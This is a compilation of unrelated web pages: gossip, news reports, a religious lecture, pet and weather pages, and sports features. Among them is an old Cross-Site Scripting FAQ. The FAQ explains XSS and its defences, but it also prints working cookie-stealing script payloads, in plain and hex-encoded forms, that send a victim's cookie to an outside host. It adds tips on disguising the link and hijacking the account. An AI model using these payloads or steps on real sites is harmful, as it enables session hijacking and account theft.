Barbara Walters has announced 7 of the 10 Most Fascinating on her list this year. She'll reveal all on 12-12-12. Ben Affleck I get, because Barbara loves flirting with him. And hopefully she'll ask him about Jennifer Lopez because while he's been namechecking her in almost every print interview, I'd like to see how that goes down on camera. But ... Seth Macfarlane? Barbara Walters and Seth Macfarlane?
Imagine Barbara's face watching this scene from Ted:
Frank: You think you got what it takes?
Ted: tell you what I got. Your wife's pussy on my breath.
Frank: Nobody's ever spoken to me like that before.
Ted:That's because their mouths were full of your wife's box.
Frank: You're hired.
Ted: Sh-t.
Other fascinating people include Hillary Clinton, Chris Christie, One Direction, Gabrielle Douglas, and ...um... the author of Fifty Shades Of Grey.
So who are the remaining 3? Come on, if E L James made it, don't you think Honey Boo Boo deserves a shot too?
Yours in gossip,


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NYC train derailment: A case for crash-avoidance technology?
| Yonkers, N.Y.
The revelation that a New York City commuter train derailed while barreling into a sharp curve at nearly three times the speed limit is fueling questions about whether automated crash-avoidance technology could have prevented the carnage.
Safety officials have championed what's known as positive train control technology for decades, but the railroad industry has sought to postpone having to install it because of the high cost and technological issues.
Investigators haven't yet determined whether the weekend wreck, which killed four people and injured more than 60 others, was the result of human error or mechanical trouble. But some safety experts said the tragedy might not have happened if Metro-North Railroad had the technology, and a senator said the derailment underscored the need for it.
"This incident, if anything, heightens the importance of additional safety measures, like that one," said U.S. Sen. Richard Blumenthal, a Democrat from Connecticut, which also is served by Metro-North. "I'd be very loath to be more flexible or grant more time."
The train was going 82 mph as it entered a 30 mph turn Sunday morning and ran off the track, National Transportation Safety Board member Earl Weener said Monday. He cited information extracted from the train's two data recorders; investigators also began interviewing the train's crew.
The speed stunned officials — "I gulped," said U.S. Sen. Charles Schumer, D-N.Y. Gov. Andrew Cuomo said the NTSB findings make it clear "extreme speed was a central cause" of the derailment and vowed to "make sure any responsible parties are held accountable" after investigators determine why the train was going so fast.
"At this point in time, we can't tell" whether the answer is faulty brakes or a human mistake, Weener said.
Weener sketched a scenario suggesting that the throttle was let up and the brakes were fully applied way too late to stave off the crash. He said the throttle went to idle six seconds before the derailed train came to a complete stop — "very late in the game" for a train going that fast — and the brakes were fully engaged five seconds before the train stopped.
It takes about a quarter-mile to a half-mile to stop a train going 82 mph, according to Kevin Thompson, a Federal Railroad Administration spokesman.
Investigators are not aware of any problems with the brakes during the nine stops the train made before the derailment, Weener said.
Weener would not disclose what investigators know about the engineer's version of events, and he said the results of drug and alcohol tests were not yet available. Investigators are also examining the engineer's cellphone; engineers are allowed to carry cellphones but prohibited from using them during a train's run.
The engineer, William Rockefeller, "is totally traumatized by everything that has happened," said Anthony Bottalico, executive director of the rail employees union.
"He's a sincere human being with an impeccable record that I know of. He's diligent and competent," Bottalico said. Rockefeller, 46, has been an engineer for about 11 years and a Metro-North employee for about 20, he said.
Positive train control, or PTC, is designed to forestall the human errors that cause about 40 percent of train accidents, and uses GPS, wireless radio and computers to monitor trains and stop them from colliding, derailing or going the wrong way. The transportation safety board has urged railroads to install PTC in some form since 1970, and after a 2005 head-on collision killed 25 people near Los Angeles, Congress in 2008 ordered rail lines to adopt the technology by December 2015.
Metro-North has taken steps toward acquiring it but, like many rail lines, has advocated for a few more years to implement a costly system that railroads say presents technological and other hurdles.
Grady Cothen, a former FRA safety official, said a PTC system would have prevented Sunday's crash if the brakes were working normally. And Steve Ditmeyer, a former FRA official who teaches at Michigan State University, said the technology would have monitored the brakes and would not have allowed the train to exceed the speed limit.
"A properly installed PTC system would have prevented this train from crashing," he said. "If the engineer would not have taken control of slowing the train down, the PTC system would have."
The Metropolitan Transportation Authority, which runs Metro-North, began planning for a PTC system as soon as the law was put into effect, spokeswoman Marjorie Anders said. After some early-stage work such as buying radio frequencies, the MTA awarded $428 million in contracts in September to develop the system for Metro-North and its sister Long Island Rail Road.
But the MTA has advocated for an extension to 2018, saying it's difficult to install such a system across more than 1,000 rail cars and 1,200 miles of track.
"It's not a simple, off-the-shelf solution," Anders said Monday.
On Sunday, the train was about half full, with about 150 people aboard, when it ran off the rails while rounding a bend where the Harlem and Hudson rivers meet. The lead car landed inches from the water.
The dead were identified as Donna L. Smith, 54, of Newburgh; James G. Lovell, 58, of Cold Spring; James M. Ferrari, 59, of Montrose; and Kisook Ahn, 35, of Queens.
Some of the injured remained hospitalized Monday, including seven in intensive care at one hospital and two patients in critical condition at another.
The train was configured with its locomotive in the back instead of the front. Weener said that is common, and a train's brakes work the same way no matter where the locomotive is located. Ditmeyer said the locomotive's location has virtually no effect on train safety.
Still, some people feel the configuration provides less protection for passengers because if the train hits something, there's no locomotive in front to absorb the blow, said Bill Henderson, executive director of the Permanent Citizens Advisory Committee to the MTA, a riders' advocacy group.
The derailment came amid a troubled year for Metro-North, and marked the first time in the railroad's 31-year history that a passenger was killed in an accident.
In May, a train derailed in Bridgeport, Conn., and was struck by a train coming in the opposite direction, injuring 73 passengers, two engineers and a conductor. In July, a freight train full of garbage derailed near the site of Sunday's wreck.
Eltman reported from Mineola, N.Y. Associated Press writers Kiley Armstrong, Verena Dobnik, Deepti Hajela, Ula Ilnytzky, Jake Pearson and Jennifer Peltz in New York City; Michael Gormley in Albany, N.Y., and Sam Hananel in Washington contributed to this report.
Copyright 2013 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.


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Germany: February 21, 2003
Sri Srimad Bhaktivedanta Narayana Maharaja
I remember Pujyapada Gour Govinda Maharaja. He came from an aristocratic brahmana Vaisnava family, his father and mother were Vaisnavas, in his house there was a deity of Gopalji-deva, and he was thus trained in Vaisnava philosophy from the beginning.
Later he began searching for his Gurudeva. Continuing to search, he travelled all over India, as I did – I also searched for my Gurudeva. His search brought him here and there, and on his return journey he came to Vrndavana and saw a saintly person in saffron cloth and became attracted. He heard some words of his Gurudeva, Parama-pujyapada Srila Bhaktivedanta Swami Maharaja, and he was attracted. Prabhupada, Bhaktivedanta Swami Maharaja told him, "I want to give you sannyasa," and he did so. He then told him, "Go to the capital of Orissa, Bhubaneswar, and preach everywhere there."
Gour Govinda Maharaja was a very strong and bold preacher, he was very expert, and he was in the line of rupanuga Vaisnavas. He especially used to read my books, and whenever a new book was published he had it brought to him. He had so much honor for me.
We met first in Vrndavana, but at that time he was not well-known. At that time Tamal Krsna Gosvami and others did not allow anyone to meet with me, and so he had no chance to meet me. When I went to Puri, however, he came with a disciple, Birbhadra brahmacari, and we discussed many subject matters. He was so bold that he never cared for criticism of his siddhantic understanding. He told what I tell – what is written in Jaiva-dharma – that no conditioned souls ever came from Goloka Vrndavana. They came from Maha Visnu, or from the tatasta (marginal) region. Also, just as I do in my classes – as I begin from the stage of sraddha and finish at Vraja-prema, he used to do the same. ISKCON leaders used to tremble, demanding to know, "What is he doing? He is often talking of the gopis. Why is he doing that? Our Prabhupada has not done so." But they never knew their Prabhupada. Who sang "Jaya Radha-Madhava Kunja-vihari" and many other such bhajans? He has done so, and he often recited four or five slokas of Sri Brahma-samhita, such as:
venum kvanantam aravinda-dalayataksam
barhavatamsan asitambuda-sundarangam
kandarpa-koti- kamaniya vesesa-sobham
govindam adi-purusam tam aham bhajami
["I worship Govinda, the primeval Lord, who plays His transcendental flute. His eyes are like lotus flowers, He is decorated with peacock plumes, His bodily color resembles a fresh black cloud, and His bodily features are more beautiful than millions of cupids." (Brahma-samhita 5.30)]
He also sang:
cintamani-prakara-sadmasu kalpa-vrksa-
laksavrtesu surabhir abhipalayantam
govindam adi-purusam tam aham bhajami
["I worship Govinda, the primeval Lord, the first progenitor, who is tending the cows, yielding all desires, in abodes built with spiritual gems and surrounded by millions of purpose trees. He is always served with great reverence and affection by hundreds and thousands of goddesses of fortune (gopis)."( Brahma-samhita. 1.2.234)]
He was very fond of such slokas, but to whom will he give them? I know that Pujyapada Gour Govinda Maharaja was one of the only qualified persons to hear. Some of Srila Swami Maharaja's other disciples used to say, "If you utter the name of a gopi, you will go to hell." I see that I have glorified the gopis from the beginning, and I have never fallen down. But why, from top to bottom, have they gone down? If they are not uttering the word gopi, why are they falling? It is because they are not glorifying the gopis; that is why they are falling down. This is the main reason. If anyone will actually follow my example, he will never fall down.
Gour Govinda Maharaja very boldly gave proper teaching. I heard on one of his cassette tape recordings that, "Even if a person wears tilaka and large kanti-mala, five kilos of japa mala, saffron cloth, sandals and dor-kaupin (sannyasa undergarments), he isn't necessarily a Vaisnava. If one is engaged in politics, duplicity, hypocrisy and diplomacy, from where will his bhakti come? I do not like this. I do not want to be with such a person." It is because of this honest preaching that he was banned from going to Holland, Australia, Germany and other places. He was totally banned, but he told those who banned him, "You can ban me, or I can give up my life, but I cannot change my siddhanta as you are asking." So many Vaisnavas from Western countries were attracted to him. They rejected all other leaders and never wanted to hear from them. After the divine disappearance of Srila Swami Maharaja, some of his other disciples came to me and learned elevated topics like Brahma-samhita and so on. They were hearing my classes – only to defeat him. They did not come to learn, but only to defeat him. They had thought, "No one should go to him. They should come to me."
But this was impossible. Those who went to him, even as spies, became his followers; and this is also true in my case. Many spies of ISKCON came to me to find out, "What is he telling?" and many of those spies became totally mine.
They wanted to ban him totally, to stop him from preaching proper siddhanta, but he told them, "I must obey my Prabhupada." My ISKCON, and the idea of the present ISKCON leaders is different. My ISKCON is the guru-parampara of Krsna, Brahma, Narada, and so on. Gour Govinda Maharaja's conception was different from mine in certain ways, but it was also different from that of the other ISKCON leaders. When the ISKCON leaders put pressure on him and told him that all will boycott him, he remained within the institution. He was very bold, and for that reason he left his body in Mayapura. If he was like me, he could have done like me. If there will come a time that there is no bhakti in the Gaudiya Vedanta Samiti, I will not remain there. What would be the use? My purpose is to serve Radha and Krsna Conjugal. If it is not allowed, then why be in that bogus institution? The ISKCON established by Parama-pujyapada Srila Swami Maharaja is not the one of nowadays. Srila Swami Maharaja's ISKCON is "Krsna bhakti-rasa bhavita matih."* [see endnote] That is the real ISKCON.
It was for this reason – that he could not execute his service to his Gurudeva within the institution – that Pujyapada Gour Govinda Maharaja left his body in Mayapura, and he has told his followers at that time: "Try to be in the association of Narayana Maharaja; he is a pure devotee." He told this to his devotees, and that is why, not all, but all his prominent disciples have followed me. They came to me after his departure and began to weep, and I told them: "Don't weep. I will help you as much as I can." That is why they are with me, and I am helping them in Krsna Consciousness. I want to increase their faith in his lotus feet, in our guru-parampara, and Srila Bhaktivedanta Swami Maharaja.
I am finishing my class here, and now we will offer puspanjali. Everyone should first offer flowers to their own diksa-gurudeva, and then to others.
Gaura Premanande
[*Endnote – Srila Prabhupada is quoted in the book Journey to Self-Discovery: "In another verse, Rupa Gosvami says, krsna-bhakti-rasa-bhavita matih kriyatau yadi kuto 'pi labhyate. I have translated the words Krsna consciousness from krsna-bhakti-rasa-bhavita. Here Rupa Gosvami advises, 'If Krsna consciousness is available, please purchase it immediately. Don't delay.' It is a very nice thing." Also, in Vrndavana, March 13, 1974, Prabhupada stated: "Rupa Gosvami advised, krsna-bhakti-rasa-bhavita matih kriyatam yadi kuto 'pi labhyate. He advises that, 'If Krsna consciousness is available, you should purchase it. You should purchase it anywhere it is available.'" In Seattle, Washington, Oct. 4, 1968, Srila Prabhupada stated: "Krsna-bhakti-rasa-bhavita matih. Matih means intelligence or status of mind, that 'I'll serve Krsna.' If you can purchase this status of mind anywhere, please immediately purchase it."]
Transcriber: Janaki dasi
Editor: Syamarani dasi


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Audrey Hepburn & Grace Kelly
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Frames: Our frames are made here in our Auckland factory. They are solid wood from the Italian Classic range, highly durable and with a superb finish. The Matboard comes in plain white. The Glass is a standard 2mm. Our frames come ready to hang, with the artwork installed.


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Quick Facts
- Weight: 55 – 65 pounds
- Height: 22 – 26 inches
The Look of a Belgian Shepherd Laekenois
The Belgian Laekenois is a light, graceful, square-built dog covered in a harsh, wiry coat that comes in shades ranging from fawn to mahogany. It has a flat-topped head with a long (but not pointed) muzzle, black nose and triangle-shaped ears that point straight up. Its dark brown eyes have a watchful expression. The Laekenois has a thick neck, level back and a low-hanging tail. Overall, the Belgian Laekenois has a handsomely shaggy look.
- Dependable
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- Sweet
- Hardworking
- Curious
- Reserved
Ideal Human Companion
- Active, sporty types
- Farmers and ranchers
- Families
- Experienced dog handlers
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The Belgian Shepherd Laekenois may have a strong working-dog background, but it craves companionship and family time. Highly protective of its family, property and territory, the Laekenois is an effective but restrained watchdog. An alert and watchful companion to children, it really flourishes when given a steady dose of good-natured play, cuddling and training. Overall, the Laekenois is a loyal, friendly and affectionate friend.
Things You Should Know
The Belgian Shepherd Laekenois can live as long as 14 years. A relatively healthy breed, some Laekenois can develop skin allergies, eye problems and hip dysplasia. Its wiry coat needs a good, daily brushing and the occasional clipping. Also remember that this dog likes to be busy. From an early age, keep it active and socially challenged. It truly thrives when it has a job to do.
Belgian Shepherd Laekenois History
The most rare of Belgium's four sheepdog varieties (the Groenendael, the Laekenois, the Tervuren and the Malinois), the Belgian Shepherd Laekenois was named for the Belgian city of the same name. The Laekenois' original duty was to guard the fine linens hung in the fields of Antwerp. Like the other Belgian sheepdog breeds, it was also used as a herder and police dog. The Belgian Shepherd Laekenois joined the Herding Group and was eligible to compete in the Westminster Kennel Club Dog Show for the first time in 2021.
Featured Image Credit: Marry Kolesnik, Shutterstock


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This evening we bid farewell to one of the best dogs ever. Period.
Atticus had neural sheath tumors and his pain had grown to such a point that we could not allow him to continue loving us with so much agony. He would have loved us forever, with no complaints.
He will always be with us, because he wants to be.


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Updated warning for wind, heavy rain and thunderstorms across East of England
The band of rain stems from a complex area of low pressure, expected to deepen over the Bay of Biscay later today, before pushing north towards the UK.
The band of rain stems from a complex area of low pressure over the Bay of Biscay that has pushed north towards the UK.
Hide AdAdvertisement
Hide AdThe rain will move across southern areas this morning, before spreading north through the afternoon and into Thursday before clearing during the day.
Warning details, updated at 11am on Wednesday and valid through until 7am on Thursday: Persistent and at times heavy rain is expected to spread from south to north during Wednesday, this affecting parts of SE Wales and much of southern, southeastern and central England.
Rain should ease from the southwest later today, persisting across the north and east of the warning area overnight before finally clearing from the east early Thursday morning.
Some heavy and thundery showers could also develop across East Anglia and southeast England during the afternoon. Strong and gusty winds are also expected, with gales in exposure.
Hide AdAdvertisement
Hide AdLightning associated with the afternoon showers across East Anglia and SE England will be an additional hazard.
Furthermore, thunderstorms developing across the southeast and East Anglia Wednesday afternoon have the potential to generate 15-25 mm of rain in a few hours.
Disruption is possible from localised flooding from fast responding water courses and standing water.
Check the latest weather warnings at metoffice.gov.uk.


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Athletics Review Committee Report
President Simmons' October 17 Letter to the Community
October 17, 2011
Dear Members of the Brown Community,
I am writing to inform you that my response to the April 2011 Report of the Athletics Review Committee is now available. As I noted in my letter to the community on this topic on September 7th, discussion of the report was reopened at the beginning of this semester. That discussion has included the Brown University Community Council, the faculty, and many individual meetings with and communications from members of the community and representatives of athletic teams. I am grateful for the forthright and respectful manner in which all involved presented their views and perspectives on these important issues. I carefully considered all of the input I received in formulating my response to the report and its recommendations.
I will discuss my report and conclusions with the Corporation at their meeting later this week. In the meantime, it is available for all members of the community to review.
Ruth J. Simmons
Please click here to download a PDF document which contains the response document.


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Peyton Manning recently turned 37. This means Manning has teammates who weren't alive when he was in high school.
It's a classic generation gap, which Manning tries to bridge through his love of cinema.
Darlington: Mile High expectations
Jeff Darlington says Peyton Manning's Broncos must accomplish one feat in the 2013 campaign: winning the Super Bowl. **More ...**
"The past few years, as I've reached my elder years as a quarterback in the NFL, I've kind of tried to get to know these rookies and try to get on the same page with them," Manning said during a call-in spot with 850 KOA in Denver. "But what I'm finding out is we don't speak the same language because we don't know the same favorite movies.
"In order to get on the same page with me, you need to watch these five movies so we can repeat lines and quotes."
So what are the movies that Manning assigns as homework to young teammates?
"I've changed it up over the years, but the main five are going to be "Vacation," "Fletch," "Stripes," "Caddyshack," and probably "The Jerk," Manning said, naming five comedies that star early cast members of "Saturday Night Live". "Most of these guys have never heard of these movies, and they really don't think they're funny because it's different kind of humor. It's '70s, '80s, '90s humor, but whatever you can do to get on the same list."
The discussion came about after Manning dropped a line from the baseball classic "Bull Durham" during a conversation with reporters on Wednesday. Manning is of the belief that the definitive football movie has yet to be made.
Which is absolutely correct. With all due respect to James Van Der Beek and the Billy Bob guy, NFL fans deserve a proper modern-day pigskin classic.
Follow Dan Hanzus on Twitter @DanHanzus.


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New York, December 5, 2011—The Committee to Protect Journalists condemns the detention of journalist and press freedom campaigner Razan Ghazzawi and calls on Syrian authorities to immediately release her. CPJ also urges the government to end the routine harassment and detention of journalists and to make public the names of all detained journalists and any crimes they may be charged with.
Ghazzawi, who also works for the Syrian Center for Media and Freedom of Expression (SCM), was en route to a conference on press freedom in Amman when Syrian border police detained her at the border late on Sunday, according to news reports. The U.S.-born Ghazzawi, 30, devoted much of her online writings to documenting the detention of bloggers and writers in Syria during the 10-month uprising.
"Having for months engaged in routine incarceration and abuse of journalists, Syrian authorities have now detained Razan Ghazzawi in a flagrant attempt to silence the criticism of that very same practice," said Mohamed Abdel Dayem, CPJ's Middle East and North Africa program coordinator. "The government's assertions of imminent media reforms amount to nothing as long as it continues to use detentions as a crude means of censorship."
In August, Syria approved a new media law that purportedly bans the arrest of journalists and defends freedom of expression. At the time, CPJ noted that the new law, lacking any meaningful enforcement mechanisms, amounted to little more than platitudes about media pluralism–a public relations stunt. Since March, CPJ has reported on the detention of numerous journalists. Many were held without authorities disclosing their charges, whereabouts, or condition. After being held under duress for extended periods, many were released without charge. CPJ continues to investigate several of these cases.


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As one of the world's most popular sports, field hockey produces celebrities in Argentina, the Netherlands and Australia. But the sport is relatively obscure in the United States, where members of the women's national team receive a small monthly stipend and their notoriety comes from outside the country.
Later this month, the group heads to London, where it will try to earn the first American medal in the sport in 28 years.
With a back-and-forth rhythm like basketball and shots on goal that can exceed 100 miles per hour, it's not that hard to understand why field hockey is immensely popular in other parts of the world.
"We're seen as celebrities; we tend to have police escorts to the field," says Claire Laubach, a defender on the U.S. Olympic team who has made several trips to play in South America.
"And we usually stay in the same hotel as the Argentinean team," she says. "Just outside the hotels, they have barricades to keep the people back. It is quite the experience."
The scene is quite different here in the States.
Last month, the Americans played that same squad from Argentina at an exhibition game in Norfolk, Va. There were no police escorts or barricades at the game, which was sparsely attended despite free admission.
The generally anonymous U.S. team is a tight-knit group. For the past year, they've largely put careers and relationships on hold while training and living together in California. There has been rock-climbing, pumpkin-carving and training with SEALs. Yes, the kind from the military.
Michelle Kasold, a striker for the U.S. squad, recalls that day.
"Basically five straight hours of anything from pushups to crawling on the ground," she says, "to carrying boats, to carrying logs, to anything that they could think of."
After failing to qualify for the Olympics in 2000 and 2004, the U.S. women logged an international upset last fall by beating Argentina to earn this country's first-ever gold at the Pan Am games and qualify for the Summer Olympics in London.
Laubach says that while training with the Navy SEALs wasn't necessarily fun, it provided a sense of unity.
"It's just interesting to see how everyone deals with the stress that they're under," she says. "You will see some people rise to it, and some people will fall to it. But you will see the people who rise to it don't just go on without the other teammate, they help them along. I think it is interesting to see the dynamics that come out of it."
Laubach and Kasold are both graduates of Wake Forest University. So, too, is the captain of the team, Lauren Crandall. That gives the small private school in Winston-Salem, N.C., more ties to the 16-woman team than any other school.
Wake Forest coach Jen Averill calls her former players' accomplishments "ridiculous — it's just unbelievable pride."
When Crandall, Laubach and Kasold played for Averill at Wake Forest, they won three Division I national titles. Now they're taking aim at an Olympic medal — a goal the American team hasn't reached since 1984, three years before Kasold was born.
"I think about each day individually, but visualize what it would be like," Kasold says. "I see us standing on the podium because I know that we're good enough, we're capable of doing it. So I see it as the final product, the end, the goal."
Seven of the team's members were on the 2008 Olympic squad that finished eighth in Beijing. This group is confident and prepared for what awaits in London — including sellout crowds at one of the biggest venues of the games.
Copyright 2012 North Carolina Public Radio


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The Cross-Site Scripting (XSS) FAQ
Original Document Location:
Revised 8/03
What is Cross Site Scripting?
What does XSS and CSS mean?
What are the threats of Cross Site Scripting?
What are some examples of cross site scripting attacks?
Can you show me what cookie theft looks like?
What can I do to protect myself as a vendor?
What can I do to protect myself as a user?
How common are CSS/XSS holes?
Does encryption protect me?
Can CSS/XSS holes allow command execution?
What if I don't feel like fixing a CSS/XSS Hole?
What are some links I can visit to help me further understand XSS?
Websites today are more complex than ever, containing a lot of dynamic content making the
experience for the user more enjoyable. Dynamic content is achieved through the use of web
applications which can deliver different output to a user depending on their settings and needs.
Dynamic websites suffer from a threat that static websites don't, called "Cross Site Scripting"
(or XSS dubbed by other security professionals).
Currently small informational tidbits about Cross Site Scripting holes exist but none really explain
them to an average person or administrator. This FAQ was written to provide a better understanding
of this emerging threat, and to give guidance on detection and prevention.
"What is Cross Site Scripting?"
Cross site scripting (also known as XSS) occurs when a web application gathers malicious
data from a user. The data is usually gathered in the form of a hyperlink which contains malicious
content within it. The user will most likely click on this link from another website, instant message,
or simply just reading a web board or email message. Usually the attacker will encode the
malicious portion of the link to the site in HEX (or other encoding methods) so the request is less
suspicious looking to the user when clicked on. After the data is collected by the web application,
it creates an output page for the user containing the malicious data that was originally sent to it,
but in a manner to make it appear as valid content from the website. Many popular guestbook and forum
programs allow users to submit posts with html and javascript embedded in them. If for example I
was logged in as "john" and read a message by "joe" that contained malicious javascript in it, then
it may be possible for "joe" to hijack my session just by reading his bulletin board post. Further
details on how attacks like this are accomplished via "cookie theft" are explained in detail below.
"What does XSS and CSS mean?"
Often people refer to Cross Site Scripting as CSS. There has been a lot of confusion with Cascading
Style Sheets (CSS) and cross site scripting. Some security people refer to Cross Site Scripting as XSS.
If you hear someone say "I found a XSS hole", they are talking about Cross Site Scripting for certain.
"What are the threats of Cross Site Scripting?"
Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application
to fool a user (Read below for further details) in order to gather data from them. Everything from
account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible.
New malicious uses are being found every day for XSS attacks. The post below by Brett Moore brings up a
good point with regard to "Denial Of Service", and potential "auto-attacking" of hosts if a user simply
reads a post on a message board.
"What are some examples of cross site scripting attacks?"
One product with many XSS holes is the popular PHP program PHPnuke.
This product is often targeted by attackers to probe for XSS holes because of its popularity.
I have included a few links of advisories/reports that have been discovered and disclosed
just from this product alone. The following collection should provide plenty of examples.
"Can you show me what XSS cookie theft looks like?"
Depending on the particular web application some of the variables and positioning of the injections
may need to be adjusted. Keep in mind the following is a simple example of an attacker's methodology.
In our example we will exploit a cross site scripting hole in a perimeter of "a.php" called "variable"
via a normal request. This is the most common type of cross site scripting hole that exists.
Step 1: Targeting
After you have found an XSS hole in a web application on a website, check to see if it issues cookies. If any part of the website uses cookies, then it is possible to steal them from its users.
Step 2: Testing
Since XSS holes are different in how they are exploited, some testing will need to be done in order to make the output believable. By inserting code into the script, its output will be changed and the page may appear broken. (The end result is crucial and the attacker will have to do some touching up in the code to make the page appear normal.) Next you will need to insert some Javascript (or other client side scripting language) into the URL pointing to the part of the site which is vulnerable. Below I have provided a few links that are for public use when testing for XSS holes. These links below, when clicked on will send the users cookie to www.cgisecurity.com/cgi-bin/cookie.cgi and will display it. If you see a page displaying a cookie then session hijacking of the user's account may be possible.
Cookie theft Javascript Examples.
A example of usage is below.
ASCII Usage:
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
Hex Usage:
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
NOTE: The request is first shown in ASCII, then in Hex for copy and paste purposes.
1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
These are the examples of "evil" Javascript we will be using. These Javascript examples gather the users cookie and then send a request to the cgisecurity.com website with the cookie in the query. My script on cgisecurity.com logs each request and each cookie. In simple terms it is doing the following:
My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi
It sends a request to my site that looks like this.
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for a space)
This is a primitive but effective way of grabbing a user's cookie. Logs of the use of this public script can be found at www.cgisecurity.com/articles/cookie-theft.log
Step 3: XSS Execution
Hand out your crafted url or use email or other related software to help launch it. Make sure that if you provide the URL to the user(through email, aim, or other means) that you at least HEX encode it. The code is obviously suspicious looking but a bunch of hex characters may fool a few people.
In my example I only forward the user to cookie.cgi. A attacker with more time could do a few
redirects and XSS combo's to steal the user's cookie, and return them to the website without
noticing the cookie theft.
Some email programs may execute the Javascript upon the opening of a message or if the Javascript
is contained in a message attachment. Larger sites like Hotmail do allow Javascript inside
attachments but they do special filtering to prevent cookie theft.
Step 4: What to do with this data
Once you have gotten the user to execute the XSS hole, the data is collected and sent
to your CGI script. Now that you have the cookie you can use a tool like Websleuth to
see if account hijacking is possible.
This is only a FAQ, not a detailed paper on cookie theft and modification.
A new paper released by David Endler of iDefense goes into more detail
on some of the ways to automatically launch XSS holes. This paper can be found
at http://www.idefense.com/XSS.html.
"What can I do to protect myself as a vendor?"
This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate
the majority of XSS attacks. Converting < and > to < and > is also suggested when it comes
to script output. Remember XSS holes can be damaging and costly to your business if abused.
Often attackers will disclose these holes to the public, which can erode customer and public confidence
in the security and privacy of your organization's site. Filtering < and > alone will not solve all cross site scripting attacks. It is suggested you also attempt to filter out ( and ) by translating them to ( and ) , " to " , ' to ' , and also # and & by translating them to #(#) and & (&). A more complete list of entities can be found at http://tntluoma.com/sidebars/codes/ .
"What can I do to protect myself as a user?"
The easiest way to protect yourself as a user is to only follow links from the main website
you wish to view. If you visit one website and it links to CNN for example, instead of clicking
on it visit CNN's main site and use its search engine to find the content. This will probably
eliminate ninety percent of the problem. Sometimes XSS can be executed automatically when you open an
email, email attachment, read a guestbook, or bulletin board post. If you plan on opening an email, or
reading a post on a public board from a person you don't know BE CAREFUL. One of the best ways to
to high. This can prevent cookie theft, and in general is a safer thing to do.
"How common are XSS holes?"
Cross site scripting holes are gaining popularity among hackers as easy holes to find
in large websites. Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer,
Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.
Every month roughly 10-25 XSS holes are found in commercial products and advisories are
published explaining the threat.
"Does encryption protect me?"
Websites that use SSL (https) are in no way more protected than websites that are not
encrypted. The web applications work the same way as before, except the attack is taking
place in an encrypted connection. People often think that because they see the lock on
their browser it means everything is secure. This just isn't the case.
"Can XSS holes allow command execution?"
XSS holes can allow Javascript insertion, which may allow for limited execution. If an
attacker were to exploit a browser flaw (browser hole) it could then be possible to execute
commands on the client's side. If command execution were possible it would only be possible
on the client side. In simple terms XSS holes can be used to help exploit other holes that
may exist in your browser.
"What if I don't feel like fixing a CSS/XSS Hole?"
By not fixing an XSS hole this could allow possible user account compromise in portions of
your site as they get added or updated. Cross Site Scripting has been found in various large
sites recently and have been widely publicized. Left unrepaired, someone may discover it and
publish a warning about your company. This may damage your company's reputation, depicting it
as being lax on security matters. This of course also sends the message to your clients that you
aren't dealing with every problem that arises, which turns into a trust issue. If your client
doesn't trust you why would they wish to do business with you?
"What are some links I can visit to help me further understand XSS?"
"Cross-site scripting tears holes in Net security"
Article on XSS holes
"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
Paper on Microsoft's Passport System
Paper on Cookie Theft
The webappsec mailing list (Visit www.securityfocus for details)
[email protected]
Many Thanks to David Endler for reviewing this document.
Published to the Public May 2002
Copyright May 2002 Cgisecurity.com


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10 Best Rums From Puerto Rico
The 10 Best Puerto Rican Rums You Need To Try
You might not know it, but Puerto Rico is one of the biggest and best rum-producing nations in the world. Located between the Caribbean Sea and the Atlantic, east of the Dominican Republic, the climate of Puerto Rico is just right for producing the sugar cane from which rum (or ron, as the locals know it) is made — which the island nation has been doing since the 1500s. Today, more than 80% of the rum consumed in the USA hails from this island. So if you're in the market for a good ron, you won't go wrong with help from this alphabetical resource of the 10 best rums from Puerto Rico.
Bacardi Añejo
The first Bacardi rum distillery was founded by Don Facundo Bacardi Masso in 1862, when rum was considered the drink of pirates and other ne'er do wells. Today, Bacardi is the world's largest privately held, family-owned producer of rums, selling more than 200 million bottles annually in 200 countries. It is the fourth-largest spirits company in the world, grossing more than $3.3 billion in 2004.
Bacardi Añejo is a rum that has been aged for six years to enhance its subtle flavors. A brownish-amber rum, with aromas of pink peppercorns, caramel and spice, Bacardi Añejo starts soft and sweet and finishes dry with a smoky, peppery note. On the whole, an excellent medium-bodied rum.
How to serve: Don't bury this one in a mix; serve it straight up and let the subtle notes roll around your mouth.
Bacardi Superior
Bacardi Superior is a dry and smooth rum with subtle spice flavors. It's a light rum, low in aromatics, but with a dry flavor and finish. Above all, it's an excellent mixer and obviously among the world's best for a reason.
How to serve: Bacardi Superior is the ideal mixer, especially if you're out for a dry complement to a mixed drink. Try it in a mojito or fall back on an old classic: Rum and cola.
Captain Morgan Private Stock
